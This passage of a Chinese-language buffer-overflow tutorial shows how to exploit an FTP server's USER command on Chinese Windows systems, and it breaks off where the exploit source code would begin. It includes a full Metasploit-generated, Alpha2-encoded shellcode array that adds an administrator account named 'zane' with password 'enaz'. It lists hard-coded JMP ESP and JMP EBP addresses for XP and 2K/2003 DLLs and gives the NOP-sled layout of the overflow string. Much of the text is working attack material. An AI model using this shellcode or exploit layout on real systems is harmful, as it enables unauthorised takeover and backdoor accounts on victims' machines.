//shellcode,添加用户名为zane,密码为enaz的管理员用户:net user zane enaz /add /* win32_adduser - PASS=enaz EXITFUNC=process USER=zane Size=476 Encoder=Alpha2 http://metasploit.com */ unsigned char scode0[]= “\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x49\\x49\\x49\\x49\\x49\\x49″ “\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x49\\x37\\x49\\x49\\x49\\x51\\x5a\\x6a\\x4a” “\\x58\\x30\\x42\\x30\\x50\\x41\\x6b\\x41\\x41\\x5a\\x42\\x32\\x41\\x42\\x32\\x42″ “\\x41\\x41\\x30\\x42\\x41\\x58\\x50\\x38\\x41\\x42\\x75\\x7a\\x49\\x79\\x6c\\x69″ “\\x78\\x51\\x54\\x57\\x70\\x43\\x30\\x63\\x30\\x4c\\x4b\\x67\\x35\\x45\\x6c\\x6e” “\\x6b\\x71\\x6c\\x66\\x65\\x43\\x48\\x55\\x51\\x5a\\x4f\\x4e\\x6b\\x70\\x4f\\x42″ “\\x38\\x4c\\x4b\\x43\\x6f\\x51\\x30\\x56\\x61\\x78\\x6b\\x30\\x49\\x4c\\x4b\\x76″ “\\x54\\x4c\\x4b\\x65\\x51\\x7a\\x4e\\x66\\x51\\x6b\\x70\\x5a\\x39\\x6e\\x4c\\x4d” “\\x54\\x4f\\x30\\x73\\x44\\x56\\x67\\x68\\x41\\x5a\\x6a\\x66\\x6d\\x44\\x41\\x6a” “\\x62\\x58\\x6b\\x48\\x74\\x65\\x6b\\x72\\x74\\x31\\x34\\x77\\x74\\x74\\x35\\x79″ “\\x75\\x6c\\x4b\\x73\\x6f\\x67\\x54\\x64\\x41\\x7a\\x4b\\x62\\x46\\x6e\\x6b\\x64″ “\\x4c\\x30\\x4b\\x6e\\x6b\\x33\\x6f\\x75\\x4c\\x37\\x71\\x48\\x6b\\x6e\\x6b\\x57″ “\\x6c\\x4c\\x4b\\x77\\x71\\x58\\x6b\\x4c\\x49\\x61\\x4c\\x56\\x44\\x47\\x74\\x69″ “\\x53\\x70\\x31\\x4b\\x70\\x45\\x34\\x4c\\x4b\\x31\\x50\\x64\\x70\\x6f\\x75\\x49″ “\\x50\\x52\\x58\\x36\\x6c\\x4c\\x4b\\x43\\x70\\x64\\x4c\\x4e\\x6b\\x74\\x30\\x45″ “\\x4c\\x4c\\x6d\\x4e\\x6b\\x63\\x58\\x33\\x38\\x6a\\x4b\\x47\\x79\\x4c\\x4b\\x4d” “\\x50\\x68\\x30\\x37\\x70\\x73\\x30\\x53\\x30\\x6e\\x6b\\x35\\x38\\x55\\x6c\\x53″ “\\x6f\\x47\\x41\\x6a\\x56\\x73\\x50\\x52\\x76\\x4b\\x39\\x7a\\x58\\x4f\\x73\\x6b” “\\x70\\x63\\x4b\\x76\\x30\\x42\\x48\\x31\\x6e\\x78\\x58\\x78\\x62\\x62\\x53\\x62″ “\\x48\\x7a\\x38\\x4b\\x4e\\x4f\\x7a\\x66\\x6e\\x30\\x57\\x69\\x6f\\x38\\x67\\x61″ “\\x73\\x50\\x6d\\x55\\x34\\x66\\x4e\\x33\\x55\\x73\\x48\\x35\\x35\\x61\\x30\\x54″ “\\x6f\\x45\\x33\\x31\\x30\\x50\\x6e\\x72\\x45\\x50\\x74\\x65\\x70\\x30\\x75\\x41″ “\\x63\\x70\\x65\\x73\\x42\\x37\\x50\\x51\\x6a\\x62\\x41\\x62\\x4e\\x72\\x45\\x71″ “\\x30\\x71\\x75\\x70\\x6e\\x50\\x61\\x72\\x5a\\x37\\x50\\x46\\x4f\\x43\\x71\\x71″ “\\x54\\x43\\x74\\x41\\x30\\x36\\x46\\x51\\x36\\x55\\x70\\x70\\x6e\\x43\\x55\\x70″ “\\x74\\x55\\x70\\x30\\x6c\\x72\\x4f\\x32\\x43\\x35\\x31\\x50\\x6c\\x70\\x67\\x64″ “\\x32\\x72\\x4f\\x54\\x35\\x42\\x50\\x35\\x70\\x32\\x61\\x71\\x74\\x42\\x4d\\x62″ “\\x49\\x30\\x6e\\x55\\x39\\x33\\x43\\x73\\x44\\x71\\x62\\x51\\x71\\x72\\x54\\x50″ “\\x6f\\x54\\x32\\x31\\x63\\x45\\x70\\x71\\x6a\\x42\\x41\\x62\\x4e\\x41\\x75\\x55″ “\\x70\\x46\\x4f\\x30\\x41\\x30\\x44\\x30\\x44\\x43\\x30\\x4a”; 4构造exploit 这里的重点之一是寻找组成注入向量的跳转地址: 如果选择ESP为跳转的寄存器,则需要JMP ESP的指令地址,使用failwest在《软件漏洞分析入门_6_初级shellcode_定位缓冲区》提出的代码,在中文Windows系统核心dll中查找, 找到XP user32.dll的JMP ESP:0x77d7c5fb, XP kernel32.dll的JMP ESP:0x7c834d7b,此外可以使用中文WIN 2K/XP/2003下通用的JMP ESP:0x7ffa4512;如果选择EBP为跳转的寄存器,则需要JMP EBP的指令地址,这可以使用中文WIN 2K/XP/2003下通用的JMP EBP:0x7ffa4967。 重点之二是构造攻击代码: 为了防止在执行shellcode之前程序乱跳,所以使用NOP(0X90)指令来进行预防,只要shellcode位置对,最终一定能够执行shellocode 我在此使用了跳转到ESP执行shellcode,构建的exploit字符串如上图所示。 以命令USER紧跟一个空格开头,后接485个NOP空转指令,紧接着的4个字节用JMP ESP地址如“\\x12\\x45\\xfa\\x7f”来填充(这是因为x86系统是little-endian方式),之后4字节继续用NOP填充,然后从第498字节开始把shellcode复制过去,最后以\\r\\n表示FTP USER命令结束。攻击时,发生缓冲溢出,CPU根据EIP的地址跳转到堆栈第493字节开始的ESP执行shellcode。 5编程实现 根据用户的选择,构造溢出字符串(即构造后接shellcode的USER命令: USER exploitcode\\r\\n); 根据用户提供的数据,使用Socket,使用connect连接目标主机; 向目标主机发送溢出字符串(send); 关闭连接。 实验源码: #include